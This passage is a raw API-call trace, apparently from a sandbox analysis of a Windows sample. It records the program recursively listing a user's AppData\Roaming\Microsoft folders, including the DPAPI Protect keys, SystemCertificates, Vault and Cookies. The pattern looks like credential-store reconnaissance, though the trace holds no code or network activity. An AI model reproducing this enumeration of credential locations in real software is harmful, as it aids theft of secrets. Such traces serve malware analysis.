IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned 105 [0119.317] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.318] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 140 [0119.318] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned 113 [0119.318] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.318] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Protect\\SYNCHIST") returned 66 [0119.318] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.318] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher") returned 59 [0119.318] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher\\*") returned 61 [0119.318] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.318] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.318] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned 75 [0119.318] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*") returned 77 [0119.318] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.319] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned 92 [0119.319] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.319] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Speech") returned 56 [0119.319] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Speech\\*") returned 58 [0119.319] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Speech\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.319] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.319] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 68 [0119.319] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned 70 [0119.319] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.319] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 71 [0119.319] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned 73 [0119.319] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.319] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 84 [0119.319] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*") returned 86 [0119.319] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.319] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.319] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 76 [0119.319] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*") returned 78 [0119.319] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.319] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.320] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 76 [0119.320] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*") returned 78 [0119.320] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.320] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.320] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.320] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.320] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates") returned 59 [0119.320] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\*") returned 61 [0119.320] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.320] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned 71 [0119.320] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned 73 [0119.320] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.320] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15") returned 74 [0119.320] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\*") returned 76 [0119.320] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.320] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed") returned 82 [0119.320] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\*") returned 84 [0119.320] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.320] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts") returned 95 [0119.320] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\*") returned 97 [0119.321] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.321] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\1033") returned 100 [0119.321] wvnsprintfW (in: pszDest=0x2a6c1c8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\1033\\*") returned 102 [0119.321] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Access Parts\\1033\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0119.321] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0119.321] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.321] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes") returned 98 [0119.321] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\*") returned 100 [0119.321] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.321] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033") returned 103 [0119.321] wvnsprintfW (in: pszDest=0x2a6c1c8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\*") returned 105 [0119.321] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 132 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 135 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 131 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 134 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 131 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 130 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 138 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 134 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 134 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 131 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 130 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 132 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 133 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 132 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 133 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 136 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 131 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 137 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 135 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 135 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 130 [0119.322] wvnsprintfW (in: pszDest=0x2a6bd70, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 131 [0119.322] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0119.323] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.323] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.323] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User") returned 79 [0119.323] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\*") returned 81 [0119.323] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0119.323] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes") returned 95 [0119.323] wvnsprintfW (in: pszDest=0x2a6c890, cchDest=260, pszFmt="%s\\*", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\*") returned 97 [0119.323] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\*", lpFindFileData=0x2a6c640 | out: lpFindFileData=0x2a6c640) returned 0x85b360 [0119.323] wvnsprintfW (in: pszDest=0x2a6c438, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6c41c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\1033") returned 100 [0119.323] wvnsprintfW (in: pszDest=0x2a6c1c8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6bd54 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\1033\\*") returned 102 [0119.323] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\User\\Document Themes\\1033\\*", lpFindFileData=0x2a6bf78 | out: lpFindFileData=0x2a6bf78) returned 0x85b3a0 [0119.323] FindClose (in: hFindFile=0x85b3a0 | out: hFindFile=0x85b3a0) returned 1 [0119.324] FindClose (in: hFindFile=0x85b360 | out: hFindFile=0x85b360) returned 1 [0119.324] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0119.324] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.324] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.324] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 71 [0119.324] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.324] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\UProof") returned 56 [0119.324] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\UProof\\*") returned 58 [0119.324] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.324] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 67 [0119.324] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.324] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Vault") returned 55 [0119.324] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Vault\\*") returned 57 [0119.324] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Vault\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.324] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0119.324] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows") returned 57 [0119.324] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\*") returned 59 [0119.324] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0119.325] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned 65 [0119.325] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*") returned 67 [0119.325] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.325] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK 